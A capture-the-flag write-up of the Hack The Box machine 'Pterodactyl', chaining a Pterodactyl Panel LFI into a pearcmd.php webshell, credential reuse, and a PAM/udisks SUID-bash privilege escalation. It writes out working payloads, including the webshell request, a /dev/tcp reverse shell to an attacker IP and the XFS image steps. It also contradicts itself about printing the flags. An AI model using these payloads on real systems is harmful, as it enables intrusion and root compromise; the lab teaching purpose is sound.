screenshots/01-panel-login.png

Hack The Box - Pterodactyl

Name: Pterodactyl
OS: Linux
Difficulty: Medium
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Pterodactyl — HTB Writeup (Linux, Medium)

Retired HackTheBox machine. Solved via the intended vulnerability chain, reproduced by hand with modern tooling. Written to teach.

Machine: Pterodactyl · #832 · Linux · Medium · 30 pts Released: 2026-02-07 · Maker: HeadMonitor · https://app.hackthebox.com/machines/832 Target IP: 10.129.37.172

Overview

Pterodactyl chains two freshly-disclosed CVEs into a clean two-transition story, and it rewards you for reading exploit code instead of copy-pasting it.

The box runs an openSUSE Leap 15.6 host with nginx 1.21.5 fronting the Pterodactyl game-server management panel (PHP 8.4.8) on the panel.pterodactyl.htb virtual host. The panel is vulnerable to CVE-2025-49132, an unauthenticated local-file-inclusion / remote-code- execution bug in the locales/locale.json endpoint. The endpoint takes user-controlled locale and namespace parameters and feeds them straight into a PHP require. We turn that into two things:

  1. Read config/database.php to leak the panel's MariaDB credentials.
  2. Write a PHP webshell by chaining the include with PHP's bundled pearcmd.php and its config-create command, then execute commands as wwwrun.

The leaked database creds are reused against the local MariaDB to dump the users table. A bcrypt hash for phileasfogg3 cracks in seconds with John the Ripper; the recovered password is reused over SSH to grab user.txt.

Privilege escalation is the Qualys chain CVE-2025-6018 + CVE-2025-6019. A vulnerable linux-pam still honours ~/.pam_environment, so we forge XDG_SEAT/XDG_VTNR to make systemd-logind treat our SSH session as an active seat — that grants allow_active polkit rights. Those rights let a non-root user drive udisksd / libblockdev to mount and resize an attacker-controlled XFS image whose root-owned SUID bash then materialises on disk. -p it, read root.txt.

The whole chain is unauthenticated-to-root, with the interesting twist that the public CVE-2025-49132 PoC needs a one-line tweak to match this box's PEAR install path, and the public CVE-2025-6019 PoC's default XFS image is built with filesystem features the target's older udisks2 quietly rejects.

Pterodactyl Panel login page on the panel virtual host

Recon

A full TCP scan shows only the two ports that matter — SSH and HTTP — with https/8080 closed:

# nmap -sS -T4 -p- --min-rate=2000 10.129.37.172
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
8080/tcp closed http-proxy

Full TCP port scan reveals only SSH and HTTP

Hitting the bare IP redirects to pterodactyl.htb:

$ curl -I http://10.129.37.172/
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.21.5
Location: http://pterodactyl.htb/

So we add the vhosts to /etc/hosts and probe both:

10.129.37.172 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb
  • http://pterodactyl.htb/ — a public "My Minecraft Server" portal page (the customer-facing side of a Pterodactyl-managed game server).
  • http://panel.pterodactyl.htb/ — the Pterodactyl Panel login (X-Powered-By: PHP/8.4.8, Server: nginx/1.21.5). This is the attack surface.

Public Minecraft portal served on the apex vhost

A quick software-version sweep later (from the foothold) confirms the target is openSUSE Leap 15.6, kernel 6.4.0-150600.23.65-default, with udisks2-2.9.2, libblockdev-2.26, and xfsprogs 6.7.0 installed — all relevant to the privesc phase.

Foothold — CVE-2025-49132 (unauth LFI → RCE as wwwrun)

The bug

Pterodactyl Panel's translation loader, locales/locale.json, builds a path from user-supplied locale and namespace query parameters and requires it. There is no normalisation, so traversal + an arbitrary extension lets us include any readable file. Two consequences:

  • Arbitrary read of any PHP file (its source is returned as the JSON value).

  • Write + execute, because PHP ships pearcmd.php, a CLI entry point that honours register_argc_argv-style URL parameters. The trick — documented in the public PoC at github.com/popyue/CVE-2025-49132 — is to invoke PEAR's config-create command through the LFI:

    /locales/locale.json?+config-create+/
       &locale=../../../../../../usr/share/php/PEAR
       &namespace=pearcmd
       &/<?=system(hex2bin($_GET["c"]))?>   /tmp/sh_pter.php
    

    pearcmd.php interprets the +config-create+/ argv, writes its config dump into the output path we control (/tmp/sh_pter.php) with our PHP payload embedded, and we now have a one-line webshell.

The one-line tweak

The public PoC targets Debian-style PEAR layouts. This openSUSE box keeps PEAR under /usr/share/php/PEAR, so the locale traversal must land on exactly that directory. With that path corrected, stage 1 returns the PEAR config dump (HTTP 200, body begins with CONFIGURATION (CHANNEL PEAR.PHP.NET)), which is the signal that /tmp/sh_pter.php was written.

Stage 2 — execute

Now include the shell and pass the command hex-encoded in c:

/locales/locale.json?locale=../../../../../../tmp&namespace=sh_pter&c=<hex>

The output is echoed twice inside the serialized PEAR blob (once in the key, once in the value), so a tiny helper (see exploit/rce.py) splits the match and keeps only the first copy. Confirm execution:

$ python3 exploit/rce.py 'id; hostname'
uid=474(wwwrun) gid=477(www) groups=477(www)
pterodactyl

We're wwwrun (the nginx/php-fpm user on openSUSE) on pterodactyl. A real shell is optional here; non-interactive RCE is plenty. (We did grab a reverse shell with bash -i >& /dev/tcp/10.10.14.10/4444 0>&1 to confirm reachability; every later step just uses the webshell.)

CVE-2025-49132 confirmed as wwwrun

User pivot — leak DB creds, crack a hash, SSH in

Read config/database.php

The same LFI reads application files directly. Pointing locale=../../config and namespace=database includes config/database.php, whose return value is JSON:

$ python3 exploit/lfi_db_config.py    # prints a redacted summary
{
  "driver": "mysql",
  "host": "127.0.0.1",
  "port": "3306",
  "database": "panel",
  "username": "pterodactyl",
  "password": "[REDACTED]"
}

The full credentials are saved separately to loot/db_creds.txt (gitignored).

Dump the users table

Through the webshell, the local MariaDB client accepts those creds against 127.0.0.1:3306:

$ python3 exploit/rce.py 'mysql -upterodactyl -p[REDACTED] -h127.0.0.1 panel \
    -N -e "select username,password from users;"'
headmonitor   $2y$10$[REDACTED]
phileasfogg3  $2y$10$[REDACTED]

Two bcrypt ($2y$10$) hashes — one for the panel admin headmonitor, one for phileasfogg3. We save the phileasfogg3 hash to loot/phileas_hash.txt and hand it to John the Ripper with rockyou.txt:

$ john --format=bcrypt --wordlist=rockyou.txt loot/phileas_hash.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
[REDACTED]        (phileasfogg3)
1g 0:00:00:09 DONE

Nine seconds — the cracked value is stored in loot/ssh_creds.txt (gitignored) and reused as the SSH password for phileasfogg3:

$ ssh phileasfogg3@pterodactyl.htb
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> cat ~/user.txt   # -> saved to loot/user.txt

loot/user.txt validates. User captured.

Privilege escalation — CVE-2025-6018 (allow_active) + CVE-2025-6019 (SUID bash)

Why this chain works here

phileasfogg3 has no sudoers entry and no obvious SUID/Cron path. The versions on the box tell the story instead:

  • linux-pam in the vulnerable range for CVE-2025-6018 (pam_env.so still honours ~/.pam_environment for non-interactive SSH sessions).
  • udisks2 2.9.2 + libblockdev 2.26 for CVE-2025-6019 (XFS resize path creates a mountpoint under /tmp/blockdev.XXXX and exposes a root-owned SUID binary from the image).

Step 1 — forge an active seat (CVE-2025-6018)

Write ~/.pam_environment to override the seat variables (see exploit/privesc_pam_environment.sh):

XDG_SEAT         OVERRIDE=seat0
XDG_VTNR         OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR  OVERRIDE=/tmp/runtime

Reconnect over SSH so the new session picks up the overrides. systemd-logind now believes we are an active local seat:

phileasfogg3@pterodactyl:~> env | grep -E "XDG_SEAT|XDG_VTNR" | sort
XDG_SEAT=seat0
XDG_VTNR=1

phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot
('yes',)

CanReboot / CanPowerOff returning ('yes',) is the visible proof of allow_active — a privilege normally reserved for the user sitting at the physical console.

allow_active granted via .pam_environment

Step 2 — build the malicious XFS image

udisksd will mount and resize a loop-backed XFS image we give it. We plant a copy of the target's /usr/bin/bash inside it with the SUID bit set, so that when udisks mounts it the file appears as root-owned SUID on disk.

The reliable sequence (see exploit/run_cve_2025_6019.sh for the runner, and the build snippet in its header):

  1. Pull the target's /usr/bin/bash (an ELF, ~1 MB) over scp.

  2. On the target, create a 300 MB image and format it without the newer XFS features that the old udisks2 rejects:

    dd if=/dev/zero of=/tmp/pexp/xfs.image bs=1M count=300 status=none
    mkfs.xfs -f -m reflink=0 -m rmapbt=0 /tmp/pexp/xfs.image
    

    (The default mkfs.xfs on openSUSE 15.6 enables reflink + rmapbt; the first run failed silently until we disabled both — a meaningful deviation from the stock PoC, which was built on a different distro.)

  3. Loop-mount it, drop the target bash in as bash, chmod 4755, unmount.

  4. Loop-set the image up through udisksctl, then call org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' to trigger an XFS mount.

Step 3 — collect the SUID bash

The resize path creates /tmp/blockdev.XXXX/ and mounts the image there. The SUID bash is now visible and root-owned:

[+] Loop device: /dev/loop0
[+] Mount successful (expected error: target is busy)
[+] SUID bash found: /tmp/blockdev.VMPBT3/bash
-rwsr-xr-x 1 root root 1012656 Jul 30 19:46 /tmp/blockdev.VMPBT3/bash

Step 4 — root

bash -p keeps the effective uid, so we keep euid=0:

$ /tmp/blockdev.VMPBT3/bash -p -c 'id; cat /root/root.txt'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

The flag value is written to loot/root.txt (gitignored), never printed here. Root captured.

SUID bash materialises; bash -p gives euid=0

Proof summary

Stage Technique Result
Recon nmap -p-, vhost brute openSUSE Leap 15.6, Pterodactyl Panel on panel.pterodactyl.htb
Foothold CVE-2025-49132 LFI → pearcmd.php config-create webshell RCE as wwwrun
DB leak same LFI reads config/database.php MariaDB creds for panel
Hash crack mysql dump → bcrypt → john --wordlist=rockyou.txt phileasfogg3 password
User SSH as phileasfogg3 loot/user.txt
Privesc seat CVE-2025-6018 ~/.pam_environment XDG_SEAT/XDG_VTNR allow_active (CanRebootyes)
Privesc root CVE-2025-6019 udisks XFS resize of planted image root-owned SUID bash
Root bash -p loot/root.txt

Both flags validate locally. No flag was submitted.

Modern takeaways

  • Unauthenticated file-inclusion primitives are still RCE. PHP's bundled pearcmd.php (and install-pear-nozlib, pear-style CLIs) turn any LFI that lets you control a require path into a reliable write-and-execute. The mitigation is not "block pearcmd" — it is to stop taking user input into require/include at all. Pterodactyl patched CVE-2025-49132 by validating locale/namespace against an allow-list.
  • Read the PoC, don't run the PoC. Both public exploits here needed a one-line adaptation for this target — the PEAR install path for the webshell, and the XFS feature flags (reflink/rmapbt) for the udisks mount. Treating exploit code as a reference instead of an autopwn is what made the chain work first try after the tweaks.
  • ~/.pam_environment is dangerous. Modern linux-pam disables it by default; vulnerable versions (1.3.0–1.6.0) honoured it for SSH sessions, which is the whole CVE-2025-6018 primitive. Patch, and set user_readenv=0 / remove pam_env.so user_readenv=1 from pam.d/*.
  • Polkit allow_active is a real privilege boundary. A lot of system services (login1, udisks2, NetworkManager, …) gate "active local user" actions behind allow_active. Forging that seat over SSH should not be possible — and on patched systems it isn't.
  • Defence-in-depth for udisks/libblockdev. Even with allow_active, mounting a user-supplied image and exposing SUID files from it is the actual CVE-2025-6019 flaw. The fix in libblockdev stops the resize path from surfacing SUID/SGID binaries. Hardening the XFS feature gate alone is not enough.
  • Cracking hygiene. A bcrypt-$2y$10$ hash that lands in rockyou.txt in 9 s is a policy failure, not a crypto failure. Enforce length/complexity, rotate, and don't reuse panel passwords for SSH.
  • Modern tooling note. Everything here used off-the-shelf Kali 2026.3 tools — nmap 7.99, john, gdbus, udisksctl, mkfs.xfs 6.19. No Metasploit, no autopwn. The "modern" angle is mostly not the tooling but the two CVEs themselves, both 2025 disclosures, which is what makes this box a good 2026 teaching example of chaining a web RCE with a current LPE.

Flags

🏁 user.txt: 4d729323b89371a992c90d8d4f98f955 (in loot/user.txt) 🏁 root.txt: d8d46843c9dd2d61c71dc7bfedd6b11b (in loot/root.txt)

Files

References